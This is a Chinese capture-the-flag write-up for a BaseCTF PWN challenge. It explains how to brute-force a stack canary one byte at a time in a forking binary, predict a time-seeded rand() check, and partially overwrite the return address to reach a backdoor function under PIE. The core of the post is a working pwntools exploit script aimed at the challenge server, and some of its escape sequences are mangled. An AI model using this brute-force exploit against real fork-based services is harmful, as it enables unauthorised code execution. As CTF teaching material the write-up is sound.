【BaseCTF-PWN】canary爆破之fork

admin 2024年9月20日22:43:32评论18 views字数 1358阅读4分31秒阅读模式

考点:每次进程重启后的Canary是不同的,但是同一个进程中的Canary都是一样的。

反编译之后看到fork函数,并且通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。

爆破次数:对于32位ELF,低字节固定是x00,所以只需要对三个字节进行爆破。爆破方式是先利用栈溢出覆写次低字节,如果出错的话,会报错,获得正确的次低字节的话,不会报错。获取正确的次低字节之后,再依次爆破次高字节和高字节。每个字节的可能性是256,因此3个字节的逐个爆破总次数是256*3=768次

【BaseCTF-PWN】canary爆破之fork

左侧函数看到直接给出了后门函数,checksec看一下保护全开,read_input()函数存在栈溢出

【BaseCTF-PWN】canary爆破之fork

那么思路就很清晰了,利用time(0)伪随机绕过判断进入read_input()函数,由于是fork进来的,那么每次进来时候的canary都是相同的,逐位变化看何时返回cheer on(证明和真正的canary匹配上了),直到完全碰撞出canary。最后因为程序开了PIE,想要跳到后门函数,只能确定最后三字节,第四字节是随机的,碰运气吧1/16.

直接上碰撞的脚本代码:

from pwn import *
from ctypes import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('challenge.basectf.fun'45145)
#p=process('./canary')
#p=gdb.debug('./canary','b main')
elf = ELF('./canary')


#libc6_2.35-0ubuntu3.8_amd64
elf = cdll.LoadLibrary('libc.so.6')
elf.srand(elf.time(0))

p.recvuntil(b'BaseCTFn')
canary = 'x00'
for i in range(7):  #64位elf除最后x00需要碰撞前7位
    for i in range(256):
        payload = str(elf.rand() % 50)
        p.sendline(payload)
        p.send('a'*(0x70-0x8) + canary + chr(i))
        a = p.recvuntil(b"BaseCTFn")
        if "cheer" in str(a):
            canary += chr(i)
            #print(canary)
            break

payload = str(elf.rand() % 50)
p.sendline(payload)

payload = 'a'*(0x70-0x8) + canary + 'a'*0x8 + 'xaex52'  #后门地址0x12ae,1/16概率赌第一位
p.send(payload)

p.interactive()

脸太黑,爆了1个小时才出来flag

【BaseCTF-PWN】canary爆破之fork

原文始发于微信公众号(智佳网络安全):【BaseCTF-PWN】canary爆破之fork

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月20日22:43:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【BaseCTF-PWN】canary爆破之forkhttp://cn-sec.com/archives/3189777.html

发表评论

匿名网友 填写信息